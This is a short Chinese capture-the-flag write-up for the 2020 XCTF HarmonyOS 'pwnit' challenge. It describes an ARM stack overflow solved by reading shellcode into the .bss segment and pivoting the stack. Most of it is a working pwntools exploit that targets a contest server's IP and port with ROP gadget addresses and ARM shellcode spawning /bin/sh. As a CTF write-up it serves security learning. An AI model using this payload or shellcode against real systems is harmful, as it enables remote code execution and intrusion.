pwnit

发表于 2021-01-07 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， HarmonyOS和HMS专场， Pwn
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | HarmonyOS和HMS专场 | Pwn | pwnit

点击此处获得更好的阅读体验

WriteUp来源

来自Venom战队发布

题目描述

> *just pwn it !*

题目考点

- *主要考察arm环境下的万能gadget使用*

解题思路

栈溢出，重新执行read读shellcode到bss段然后栈迁移执行shellcode

```
1 from pwn import *
2 p = remote("139.159.210.220", 9999)
3
4 payload = cyclic(0x100)+p32(0x21100)+p32(0x10348)+p32(0x21100)+p32(0x104e4)
5 p.sendafter("input: ", payload)
6 pause()
7 p.send(p32(0x21104)+"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68")
8 p.interactive()
```


 # Challenge # 2020 # Pwn # XCTF高校网络安全专题挑战赛 # HarmonyOS和HMS专场
harmoshell-2
re123